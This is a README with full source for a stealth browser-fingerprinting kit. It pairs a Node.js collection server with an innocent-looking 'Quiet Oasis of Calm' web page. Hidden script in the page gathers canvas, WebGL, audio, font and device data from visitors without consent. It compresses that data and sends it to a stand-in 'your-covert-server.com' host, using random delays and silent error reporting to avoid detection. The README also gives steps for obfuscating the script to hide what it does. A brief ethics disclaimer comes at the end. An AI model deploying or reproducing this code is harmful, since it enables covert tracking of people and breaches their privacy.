This project provides a stealth-optimized framework for collecting detailed browser and system information from website visitors without explicit consent, compressing the data, and exfiltrating it to a remote server. It leverages advanced fingerprinting techniques, client-side GZIP compression, resilient retry mechanisms with exponential backoff, randomized delays for enhanced stealth, and remote error reporting.
- Features
- How It Works
- Setup and Usage
- Testing
- Obfuscation and Production Readiness
- Ethical Considerations
- Troubleshooting
- Extensive Fingerprinting: Captures a broad range of browser and system attributes for high uniqueness (e.g., User Agent, Screen/Window, WebGL, Canvas, AudioContext, Fonts, Network).
- Optimized & Lightweight:
- Minimal Canvas/WebGL Operations: Ensures fast execution with a small data footprint.
- Client-Side GZIP Compression: Reduces payload size using
pako.jsfor efficient network usage.
- Advanced Stealth & Evasion:
- Uses
navigator.sendBeaconfor non-blocking, reliable data transfer, even on page unload. - Falls back to
fetchwithkeepalivefor compatibility. - Server responds with a minimal, empty
200 OKto avoid detection. - Random Initial Delays: Obscures exfiltration timing to blend with natural traffic.
- No Console Output: Production code avoids browser console logs for discretion.
- Uses
- Resilient Data Transfer:
- Exponential Backoff with Jitter: Retries failed requests intelligently, preventing server overload.
- Robust Error Handling:
- Client-side
try...catchblocks silently report errors to a dedicated server endpoint (/log_error) for debugging without alerting users.
- Client-side
- Self-Contained Dependencies: Serves
pako.jslocally, eliminating third-party CDN reliance. - HTTPS-Ready: Designed for secure contexts, leveraging APIs that require HTTPS (e.g.,
sendBeacon,userAgentData).
The system operates as a client-server model:
- Client-Side JavaScript: Embedded in a benign-looking HTML page, the optimized JavaScript silently collects browser and system attributes, compresses them with GZIP, and sends the data to a server endpoint. Operations are non-blocking to minimize impact.
- Server-Side Endpoint: A Node.js/Express server, proxied via Nginx for HTTPS, receives compressed data, decompresses it with
zlib, logs it, and responds with a silent200 OK. A separate endpoint logs client-side errors for remote debugging.
Follow these steps to deploy and test the system. HTTPS is mandatory for full functionality and stealth, as many browser APIs (e.g., sendBeacon) require secure contexts.
- Node.js (LTS recommended) and npm.
- A domain (e.g.,
your-covert-server.com) with DNS pointing to your server’s IP. - An SSL certificate (e.g., via Let’s Encrypt).
- A reverse proxy (e.g., Nginx) to handle HTTPS and forward requests to Node.js.
-
Create a Server Directory:
mkdir covert-siphon-server cd covert-siphon-server -
Initialize Node.js Project and Install Dependencies:
npm init -y npm install express body-parser
-
Create
server.js: Save the following code incovert-siphon-server/server.js:// server.js const express = require('express'); const bodyParser = require('body-parser'); const fs = require('fs'); const path = require('path'); const zlib = require('zlib'); const app = express(); const port = 3001; // Node.js listens here; Nginx proxies from 443. // CORS Configuration // **CRITICAL**: Replace with your domain to restrict access. app.use((req, res, next) => { const allowedOrigin = 'https://your-covert-server.com'; // EDIT THIS const origin = req.headers.origin; if (origin && origin === allowedOrigin) { res.setHeader('Access-Control-Allow-Origin', allowedOrigin); res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type, User-Agent, X-Requested-With, Content-Encoding'); } if (req.method === 'OPTIONS') { return res.sendStatus(204); } next(); }); // Parse raw binary data for compressed payloads app.use(bodyParser.raw({ type: 'application/octet-stream', limit: '5mb' })); const fingerprintLogPath = path.join(__dirname, 'collected_fingerprints.log'); const errorLogPath = path.join(__dirname, 'client_errors.log'); // Safely append to log files function appendToLog(logFile, data) { fs.appendFile(logFile, JSON.stringify(data) + '\n', (err) => { if (err) console.error(`Failed to write to ${logFile}:`, err); }); } // Fingerprint ingestion endpoint app.post('/ingest_telemetry', (req, res) => { const rawHeaders = req.headers; const clientIp = req.ip || req.connection.remoteAddress || req.socket.remoteAddress; let decompressedData = null; if (rawHeaders['content-encoding'] === 'gzip' && req.body instanceof Buffer) { try { decompressedData = zlib.gunzipSync(req.body).toString('utf8'); decompressedData = JSON.parse(decompressedData); } catch (e) { console.error('Error decompressing/parsing gzipped payload:', e); return res.status(400).send('Bad Request: Invalid gzipped payload'); } } else { if (!req.body) return res.status(400).send('Bad Request: No payload received'); try { decompressedData = JSON.parse(req.body.toString('utf8')); } catch (e) { console.error('Error parsing uncompressed payload:', e); return res.status(400).send('Bad Request: Invalid uncompressed payload'); } } const collectedRecord = { timestamp: new Date().toISOString(), clientIp, userAgentHeader: rawHeaders['user-agent'], referrer: rawHeaders['referer'], acceptLanguage: rawHeaders['accept-language'], collectedData: decompressedData }; console.log(`\n--- Fingerprint Ingested: ${collectedRecord.timestamp} from ${collectedRecord.clientIp} ---`); appendToLog(fingerprintLogPath, collectedRecord); res.status(200).send(); }); // Client error logging endpoint app.post('/log_error', (req, res) => { const errorInfo = { timestamp: new Date().toISOString(), clientIp: req.ip || req.connection.remoteAddress, rawBody: req.body.toString(), error: null }; try { errorInfo.error = JSON.parse(req.body.toString('utf8')); delete errorInfo.rawBody; } catch (e) { console.error('Failed to parse client error log body:', e); } console.warn(`\n!!! Client Error Logged: ${errorInfo.timestamp} from ${errorInfo.clientIp} !!!`); appendToLog(errorLogPath, errorInfo); res.status(200).send(); }); // Health check endpoint app.get('/health', (req, res) => { res.status(200).send('Server is healthy and awaiting covert communications.'); }); app.listen(port, () => { console.log(`\n😈 Covert Data Ingestion Server running on port ${port}`); console.log(`Fingerprint logs: ${path.resolve(fingerprintLogPath)}`); console.log(`Client error logs: ${path.resolve(errorLogPath)}\n`); console.log(`Listening for fingerprints at POST /ingest_telemetry`); console.log(`Listening for client errors at POST /log_error`); console.log(`Use a reverse proxy (e.g., Nginx) from port 443 to ${port}!\n`); });
Security Tip: In
server.js, setallowedOriginto your domain (e.g.,'https://your-covert-server.com') to prevent unauthorized access. Avoid using'*'in production.
-
Create an HTML Directory: Create a directory for client-side assets, e.g.,
covert-siphon-client. -
Create
index.html: Save the following code incovert-siphon-client/index.html:<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>A Quiet Oasis of Calm</title> <style> body { font-family: 'Times New Roman', serif; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; background: #fdfaf7; color: #333; overflow: hidden; font-size: 1.1em; line-height: 1.6; text-align: justify; } .container { background-color: #fff; padding: 50px 70px; border-radius: 10px; box-shadow: 0 8px 25px rgba(0, 0, 0, 0.08); max-width: 800px; text-align: center; position: relative; overflow: hidden; } .container::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle, rgba(230,230,230,0.1) 0%, rgba(255,255,255,0) 70%); animation: subtleOrb 20s infinite linear; z-index: 0; } @keyframes subtleOrb { 0% { transform: rotate(0deg); opacity: 0.5; } 50% { transform: rotate(180deg); opacity: 0.8; } 100% { transform: rotate(360deg); opacity: 0.5; } } h1 { color: #4a4a4a; margin-bottom: 25px; font-size: 3em; font-weight: normal; font-family: 'Playfair Display', serif; position: relative; z-index: 1; } p { color: #555; margin-bottom: 20px; position: relative; z-index: 1; } .button { display: inline-block; padding: 15px 40px; background-color: #7b9cb2; color: white; text-decoration: none; border-radius: 5px; font-size: 1em; transition: background-color 0.3s ease, transform 0.2s ease; box-shadow: 0 4px 10px rgba(0, 0, 0, 0.05); position: relative; z-index: 1; } .button:hover { background-color: #6a8c9e; transform: translateY(-2px); } .hidden-canvas, .hidden-webgl-canvas { position: absolute; left: -9999px; top: -9999px; visibility: hidden; pointer-events: none; } .content-fade { animation: contentIn 1.2s ease-out forwards; opacity: 0; transform: translateY(20px); } @keyframes contentIn { to { opacity: 1; transform: translateY(0); } } </style> <!-- **CRITICAL**: UPDATE WITH YOUR SERVER'S HTTPS DOMAIN! --> <link rel="preconnect" href="https://your-covert-server.com"> <link rel="dns-prefetch" href="https://your-covert-server.com"> <!-- Pako.js for GZIP compression. Ensure it's in /js/ directory. --> <script src="/js/pako.min.js"></script> </head> <body> <div class="container content-fade"> <h1>Welcome, dear seeker of tranquility.</h1> <p>Step into this peaceful digital garden, where knowledge blooms and the whispers of the web converge. Take a moment to breathe, to simply <em>be</em>. We are delighted to share this quiet sanctuary with you.</p> <p>Explore the vast expanse of thought, or simply rest your weary cursor. Your journey here is your own, unburdened and free.</p> <a href="#" class="button">Find Your Inner Peace</a> </div> <canvas id="canvasFingerprintElement" class="hidden-canvas"></canvas> <canvas id="webglFingerprintElement" class="hidden-webgl-canvas"></canvas> <script> // --- Core Configuration --- // **CRITICAL**: UPDATE WITH YOUR SERVER'S HTTPS DOMAIN! const BASE_SERVER_URL = 'https://your-covert-server.com'; const EXFILTRATION_ENDPOINT = BASE_SERVER_URL + '/ingest_telemetry'; const ERROR_LOG_ENDPOINT = BASE_SERVER_URL + '/log_error'; const MAX_RETRIES = 5; const BASE_RETRY_DELAY_MS = 1000; const INITIAL_RANDOM_DELAY_MS_MIN = 500; const INITIAL_RANDOM_DELAY_MS_MAX = 3000; const MAX_CANVAS_DATA_URI_LENGTH = 10000; // --- Internal State --- let collectedPayload = null; // --- Utilities --- function sG(o, p, d = null) { try { return o ? o[p] : d; } catch (e) { return d; } } // safeGet function rE(e, c = {}) { // reportError try { const errData = { msg: e.message || e.toString(), stack: e.stack || 'No Stack', context: c }; const errJson = JSON.stringify(errData); const errBlob = new Blob([errJson], { type: 'application/json' }); if (!navigator.sendBeacon(ERROR_LOG_ENDPOINT, errBlob)) { fetch(ERROR_LOG_ENDPOINT, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: errJson, keepalive: true }).catch(() => {}); } } catch (loggingError) {} } // --- Fingerprinting --- function gCF() { // getCanvasFingerprint try { const c = document.getElementById('canvasFingerprintElement'); if (!c) return 'u'; const ctx = c.getContext('2d'); c.width = 256; c.height = 60; ctx.textBaseline = "top"; ctx.font = "24px 'Arial'"; ctx.fillStyle = "#f60"; ctx.fillText("Xanthorox", 2, 15); ctx.font = "16px 'Times New Roman'"; ctx.fillStyle = "#069"; ctx.fillText("Secret whispers...", 5, 40); const d = c.toDataURL(); return d.length > MAX_CANVAS_DATA_URI_LENGTH ? d.substring(0, MAX_CANVAS_DATA_URI_LENGTH) + '_T' : d; } catch (e) { rE(e, {src: 'canvasFp'}); return 'e:' + (e.message || 'e'); } } function gWF() { // getWebglFingerprint try { const c = document.getElementById('webglFingerprintElement'); if (!c) return 'u'; let gl; try { gl = c.getContext('webgl', { preserveDrawingBuffer: true }) || c.getContext('experimental-webgl', { preserveDrawingBuffer: true }); } catch (e) { rE(e, {src: 'webglCtx'}); return 'u'; } if (!gl) return 'un'; const i = {}; const dbg = gl.getExtension('WEBGL_debug_renderer_info'); i.v = sG(dbg, gl.UNMASKED_VENDOR_WEBGL); i.r = sG(dbg, gl.UNMASKED_RENDERER_WEBGL); i.ve = sG(gl, 'VERSION'); i.sl = sG(gl, 'SHADING_LANGUAGE_VERSION'); i.e = sG(gl, 'getSupportedExtensions', () => []).call(gl); try { const vs = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vs, 'attribute vec2 p; void main() { gl_Position = vec4(p, 0.0, 1.0); }'); gl.compileShader(vs); const fs = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(fs, 'void main() { gl_FragColor = vec4(0.1, 0.2, 0.3, 0.4); }'); gl.compileShader(fs); const p = gl.createProgram(); gl.attachShader(p, vs); gl.attachShader(p, fs); gl.linkProgram(p); gl.useProgram(p); const b = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, b); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([-1, -1, 1, -1, -1, 1, 1, 1]), gl.STATIC_DRAW); const pl = gl.getAttribLocation(p, 'p'); gl.enableVertexAttribArray(pl); gl.vertexAttribPointer(pl, 2, gl.FLOAT, false, 0, 0); c.width = 1; c.height = 1; gl.viewport(0, 0, 1, 1); gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4); const px = new Uint8Array(4); gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, px); i.ph = btoa(String.fromCharCode.apply(null, px)); } catch (e) { rE(e, {src: 'webglRender'}); i.re = (e.message || 'e'); } return i; } catch (e) { rE(e, {src: 'webglFp'}); return 'e:' + (e.message || 'e'); } } async function gAF() { // getAudioFingerprint try { if (!window.AudioContext && !window.webkitAudioContext) return 'un'; let ac; try { ac = new (window.AudioContext || window.webkitAudioContext)({ latencyHint: 'interactive' }); } catch (e) { rE(e, {src: 'audioCtx'}); return 'b:' + (e.message || 'e'); } const osc = ac.createOscillator(); const an = ac.createAnalyser(); const gn = ac.createGain(); osc.type = 'sine'; osc.frequency.value = 1000; osc.connect(an); an.connect(gn); gn.connect(ac.destination); gn.gain.value = 0; osc.start(0); const bl = an.frequencyBinCount; const da = new Uint8Array(bl); return new Promise(r => { setTimeout(() => { an.getByteFrequencyData(da); osc.stop(); ac.close(); r(btoa(String.fromCharCode.apply(null, da))); }, 100); }); } catch (e) { rE(e, {src: 'audioFp'}); return 'e:' + (e.message || 'e'); } } function gFL() { // getFontList try { const tf = ['Arial', 'Verdana', 'Helvetica', 'Times New Roman', 'Courier New', 'Trebuchet MS', 'Impact', 'Segoe UI', 'Roboto', 'Noto Sans', 'Open Sans', 'Lato', 'Montserrat', 'Source Sans Pro', 'system-ui', '-apple-system', 'BlinkMacSystemFont', 'Ubuntu', 'Cantarell', 'Fira Sans', 'Consolas', 'Fira Code', 'JetBrains Mono', 'Meiryo', 'MS Gothic', 'Yu Gothic', 'SimSun', 'Noto Color Emoji', 'Apple Color Emoji', 'Segoe UI Emoji', 'Adobe Garamond Pro', 'Calibri', 'Cambria']; const df = []; const c = document.createElement('span'); c.style.cssText = 'position:absolute;left:-9999px;top:-9999px;font-size:72px;visibility:hidden;white-space:nowrap;'; const s = document.createElement('span'); s.innerHTML = 'abcdefghijklmnopqrstuvwxyz0123456789'; c.appendChild(s); document.body.appendChild(c); s.style.fontFamily = 'monospace'; const mw = s.offsetWidth; const mh = s.offsetHeight; for (const f of tf) { s.style.fontFamily = `'${f}', monospace`; if (s.offsetWidth !== mw || s.offsetHeight !== mh) { df.push(f); } } document.body.removeChild(c); return df; } catch (e) { rE(e, {src: 'fontFp'}); return 'e:' + (e.message || 'e'); } } async function dAB() { // detectAdBlocker try { const ta = document.createElement('div'); ta.innerHTML = ' '; ta.className = 'Pqfghj adbox test-ad test_ad_banner square_ad'; ta.style.cssText = 'width: 1px; height: 1px; position: absolute; left: -9999px; top: -9999px;'; document.body.appendChild(ta); return new Promise(r => { setTimeout(() => { const b = ta.offsetParent === null || ta.offsetHeight === 0 || ta.clientHeight === 0 || window.getComputedStyle(ta).getPropertyValue('display') === 'none'; document.body.removeChild(ta); r(b); }, 50); }); } catch (e) { rE(e, {src: 'adBlock'}); return null; } } function dDT() { // detectDevTools try { const t = 160; return (window.outerWidth - window.innerWidth > t) || (window.outerHeight - window.innerHeight > t); } catch (e) { rE(e, {src: 'devTools'}); return null; } } async function gABI() { // getAllBrowserInfo const d = {}; d.ua = sG(navigator, 'userAgent'); if (sG(navigator, 'userAgentData')) { d.uach = { b: sG(navigator.userAgentData, 'brands'), m: sG(navigator.userAgentData, 'mobile'), p: sG(navigator.userAgentData, 'platform') }; try { d.uahe = await navigator.userAgentData.getHighEntropyValues(["architecture", "model", "platformVersion", "uaFullVersion", "fullVersionList", "bitness"]); } catch (e) { d.uahe = 'b:' + (e.message || 'e'); rE(e, {src: 'uaHighEntropy'}); } } d.s = { w: sG(window.screen, 'width'), h: sG(window.screen, 'height'), pd: sG(window.screen, 'pixelDepth'), cd: sG(window.screen, 'colorDepth'), aw: sG(window.screen, 'availWidth'), ah: sG(window.screen, 'availHeight'), o: sG(window.screen.orientation, 'type') }; d.wi = { w: sG(window, 'innerWidth'), h: sG(window, 'innerHeight') }; d.wo = { w: sG(window, 'outerWidth'), h: sG(window, 'outerHeight') }; d.l = sG(navigator, 'language'); d.ls = sG(navigator, 'languages'); d.tz = new Date().getTimezoneOffset(); d.loc = sG(new Intl.DateTimeFormat().resolvedOptions(), 'locale'); d.cf = gCF(); d.wf = gWF(); d.af = await gAF(); d.fl = gFL(); d.adb = await dAB(); d.ddt = dDT(); if ('connection' in navigator) { d.n = { r: sG(navigator.connection, 'rtt'), et: sG(navigator.connection, 'effectiveType'), d: sG(navigator.connection, 'downlink'), sd: sG(navigator.connection, 'saveData') }; } d.sid = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15); return d; } async function eD(p, rc = 0) { // exfiltrateData if (!p) return false; let cp; try { cp = pako.gzip(new TextEncoder().encode(JSON.stringify(p))); } catch (e) { rE(e, {src: 'payloadComp', rc: rc}); cp = new TextEncoder().encode(JSON.stringify(p)); } let s = false; try { const b = new Blob([cp], { type: 'application/octet-stream' }); if (navigator.sendBeacon) { s = navigator.sendBeacon(EXFILTRATION_ENDPOINT, b); if (!s) s = await fWR(EXFILTRATION_ENDPOINT, { method: 'POST', headers: { 'Content-Type': 'application/octet-stream', 'Content-Encoding': 'gzip' }, body: b, keepalive: true }, rc); } else { s = await fWR(EXFILTRATION_ENDPOINT, { method: 'POST', headers: { 'Content-Type': 'application/octet-stream', 'Content-Encoding': 'gzip' }, body: b, keepalive: true }, rc); } } catch (e) { rE(e, {src: 'exfilAttempt', rc: rc}); s = false; } if (!s && rc < MAX_RETRIES) { const delay = Math.min(BASE_RETRY_DELAY_MS * Math.pow(2, rc), 60000) + Math.random() * BASE_RETRY_DELAY_MS; setTimeout(() => eD(p, rc + 1), delay); } else if (!s && rc >= MAX_RETRIES) { rE(new Error('Max Retries Exceeded'), {src: 'exfilPermanentFail', payloadId: p.sid}); } return s; } async function fWR(u, o, rc) { // fetchWithRetry try { const res = await fetch(u, o); if (!res.ok) { rE(new Error(`Fetch not OK: ${res.status} ${res.statusText}`), {src: 'fetchFailStatus', rc: rc, status: res.status}); return false; } return true; } catch (e) { rE(e, {src: 'fetchError', rc: rc, url: u}); return false; } } // --- Execution Flow --- document.addEventListener('DOMContentLoaded', () => { document.querySelector('.container').classList.add('content-fade'); const rID = Math.random() * (INITIAL_RANDOM_DELAY_MS_MAX - INITIAL_RANDOM_DELAY_MS_MIN) + INITIAL_RANDOM_DELAY_MS_MIN; setTimeout(async () => { collectedPayload = await gABI(); eD(collectedPayload); }, rID); }); window.addEventListener('beforeunload', async () => { if (collectedPayload) { let cp; try { cp = pako.gzip(new TextEncoder().encode(JSON.stringify(collectedPayload))); } catch (e) { rE(e, {src: 'unloadComp'}); cp = new TextEncoder().encode(JSON.stringify(collectedPayload)); } const b = new Blob([cp], { type: 'application/octet-stream' }); navigator.sendBeacon(EXFILTRATION_ENDPOINT, b); } }); document.querySelector('.button').addEventListener('click', async function(e) { e.preventDefault(); collectedPayload = await gABI(); eD(collectedPayload); const tU = this.href; if (tU && tU !== '#') setTimeout(() => { window.location.href = tU; }, 50); }); </script> </body> </html>
-
Download and Place
pako.min.js:- Download
pako.min.jsfrom Pako GitHub releases. - Create a
jssubdirectory incovert-siphon-client(e.g.,covert-siphon-client/js) and placepako.min.jsthere.
- Download
-
Update Configuration:
- In
index.html, setBASE_SERVER_URLto your HTTPS domain (e.g.,https://your-covert-server.com). - Update
<link rel="preconnect">and<link rel="dns-prefetch">to match, omitting port numbers if using standard HTTPS (443).
- In
-
Install Nginx:
sudo apt install nginx # Ubuntu example -
Obtain SSL Certificate: Use Certbot for a free Let’s Encrypt certificate:
sudo certbot --nginx -d your-covert-server.com
-
Configure Nginx: Edit your Nginx configuration (e.g.,
/etc/nginx/sites-available/your-covert-server.com):server { listen 80; server_name your-covert-server.com; return 301 https://$host$request_uri; # Redirect HTTP to HTTPS } server { listen 443 ssl; server_name your-covert-server.com; ssl_certificate /etc/letsencrypt/live/your-covert-server.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/your-covert-server.com/privkey.pem; # Static files root (where covert-siphon-client is placed) root /var/www/your-covert-server.com/html; # UPDATE TO YOUR PATH index index.html index.htm; location / { try_files $uri $uri/ =404; } location /js/ { alias /var/www/your-covert-server.com/html/js/; try_files $uri =404; } location /ingest_telemetry { proxy_pass http://localhost:3001; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_http_version 1.1; proxy_buffering off; } location /log_error { proxy_pass http://localhost:3001; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_http_version 1.1; proxy_buffering off; } server_tokens off; # Hide Nginx version }
Static Files: Place the
covert-siphon-clientdirectory (containingindex.htmlandjs/pako.min.js) in therootpath (e.g.,/var/www/your-covert-server.com/html). Nginx servespako.min.jsat/js/pako.min.js. -
Test and Restart Nginx:
sudo nginx -t sudo systemctl restart nginx
-
Start Node.js Server:
cd covert-siphon-server node server.js -
Access the HTML: Open a browser and navigate to
https://your-covert-server.com/index.html.
-
Monitor Server Console: Check the terminal running
server.jsforFingerprint Ingested:andClient Error Logged:messages. -
Check Log Files:
collected_fingerprints.log: JSON data for fingerprints, incovert-siphon-server.client_errors.log: Client-side error reports, incovert-siphon-server. Log Security: Logs contain sensitive data. Encrypt or restrict access to prevent exposure.
Before deployment:
- Use a self-signed SSL certificate for local testing (e.g.,
https://localhost). - Serve
index.htmllocally and check for JavaScript errors in the browser console (production code is silent). - Verify data appears in
collected_fingerprints.log. - Check
client_errors.logfor issues reported by therEfunction.
- Remove Console Output: The provided
index.htmlavoidsconsole.log, usingrEfor silent error reporting. - Minification/Obfuscation:
Obfuscate the JavaScript in
index.htmlto hide its intent:Replace thenpm install -g javascript-obfuscator javascript-obfuscator path/to/script.js --output path/to/obfuscated/script.js --control-flow-flattening true --dead-code-injection true
<script>content with the obfuscated version. - Content Security Policy (CSP):
For added security, implement a strict CSP, allowing your endpoints:
Ensure it doesn’t block the script’s functionality.
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; connect-src 'self' https://your-covert-server.com;">
This tool is for educational and research purposes only. Collecting fingerprints without explicit, informed consent may violate privacy laws (e.g., GDPR, CCPA) and is unethical. Legitimate uses include security research or penetration testing with permission. For compliant deployments, add a privacy notice and consent form in index.html to inform users of data collection.
- CORS Errors: Ensure
allowedOrigininserver.jsmatches your domain. - SSL Issues: Verify your certificate is valid and Nginx is configured for HTTPS.
- JavaScript Failures: Confirm
pako.min.jsis served at/js/pako.min.jsand the script loads without errors. - No Logs: Check server console for errors and ensure Nginx proxies requests to port 3001.